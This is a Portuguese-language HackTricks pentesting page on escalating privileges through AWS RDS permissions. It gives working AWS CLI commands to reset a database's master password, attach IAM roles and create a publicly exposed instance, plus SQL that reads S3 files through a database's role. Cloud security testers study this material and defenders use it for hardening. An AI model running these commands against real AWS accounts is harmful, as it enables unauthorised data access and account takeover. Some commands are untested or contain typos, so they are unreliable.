AWS - RDS Privesc

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

RDS - Relational Database Service

Para mais informações sobre o RDS, consulte:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Com essa permissão, um atacante pode modificar a senha do usuário master, e o login dentro do banco de dados:

bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

warning

Você precisará ser capaz de contatar o banco de dados (eles geralmente são acessíveis apenas a partir de redes internas).

Impacto Potencial: Encontrar informações sensíveis dentro dos bancos de dados.

rds-db:connect

De acordo com a docs um usuário com essa permissão poderia conectar-se à instância DB.

Abusar permissões IAM da Role RDS

Postgresql (Aurora)

tip

Se ao executar SELECT datname FROM pg_database; você encontrar um banco de dados chamado rdsadmin, você sabe que está dentro de um banco de dados AWS postgresql.

Primeiro, você pode verificar se esse banco de dados foi usado para acessar qualquer outro serviço AWS. Você pode verificar isso olhando as extensões instaladas:

sql
SELECT * FROM pg_extension;

Se você encontrar algo como aws_s3 pode assumir que esse banco de dados tem algum tipo de acesso ao S3 (existem outras extensões como aws_ml e aws_lambda).

Além disso, se você tem permissões para executar aws rds describe-db-clusters pode ver ali se o cluster tem alguma IAM Role anexada no campo AssociatedRoles. Se houver, você pode assumir que o banco de dados foi preparado para acessar outros serviços da AWS. Com base no nome da role (ou se você conseguir obter as permissões da role) você poderia estimar qual acesso extra o banco de dados possui.

Agora, para ler um arquivo dentro de um bucket você precisa conhecer o caminho completo. Você pode lê-lo com:

sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Se você tivesse credenciais AWS brutas, você também poderia usá-las para acessar dados do S3 com:

sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

note

Postgresql não precisa alterar nenhuma variável do parameter group para poder acessar o S3.

Mysql (Aurora)

tip

Inside a mysql, if you run the query SELECT User, Host FROM mysql.user; and there is a user called rdsadmin, you can assume you are inside an AWS RDS mysql db.

Dentro do mysql execute show variables; e se variáveis como aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role tiverem valores, você pode presumir que o banco está preparado para acessar dados no S3.

Além disso, se você tem permissões para executar aws rds describe-db-clusters você pode verificar se o cluster possui alguma role associada, o que geralmente significa acesso a serviços da AWS).

Agora, para ler um arquivo dentro de um bucket você precisa saber o caminho completo. Você pode lê-lo com:

sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Um atacante com as permissões rds:AddRoleToDBCluster e iam:PassRole pode adicionar uma role especificada a uma instância RDS existente. Isso pode permitir que o atacante acesse dados sensíveis ou modifique os dados dentro da instância.

bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Impacto Potencial: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.
Observe que alguns DBs requerem configurações adicionais, como Mysql, que também precisa especificar o role ARN nos grupos de parâmetros.

rds:CreateDBInstance

Só com essa permissão um atacante poderia criar uma nova instância dentro de um cluster que já existe e que tem uma IAM role anexada. O atacante não conseguirá alterar a senha do usuário master, mas pode conseguir expor a nova instância de banco de dados para a internet:

bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

note

TODO: Test

Um atacante com as permissões rds:CreateDBInstance e iam:PassRole pode criar uma nova instância RDS com um role especificado anexado. O atacante pode então potencialmente acessar dados sensíveis ou modificar os dados dentro da instância.

warning

Alguns requisitos do role/instance-profile a ser anexado (de here):

  • O profile deve existir na sua conta.
  • O profile deve ter um IAM role que o Amazon EC2 tenha permissões para assumir.
  • O nome do instance profile e o nome do IAM role associado devem começar com o prefixo AWSRDSCustom.
bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Impacto Potencial: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.

rds:AddRoleToDBInstance, iam:PassRole

Um atacante com as permissões rds:AddRoleToDBInstance e iam:PassRole pode adicionar um role especificado a uma instância RDS existente. Isso pode permitir que o atacante acesse dados sensíveis ou modifique os dados dentro da instância.

warning

A DB instance deve estar fora de um cluster para isso

bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Impacto Potencial: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks